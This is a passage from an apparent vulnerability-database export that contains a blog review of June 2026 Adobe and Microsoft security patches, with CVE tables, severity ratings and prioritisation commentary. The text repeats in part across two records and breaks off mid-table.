Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "1838a5d6-9854-410e-a868-c88593456483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  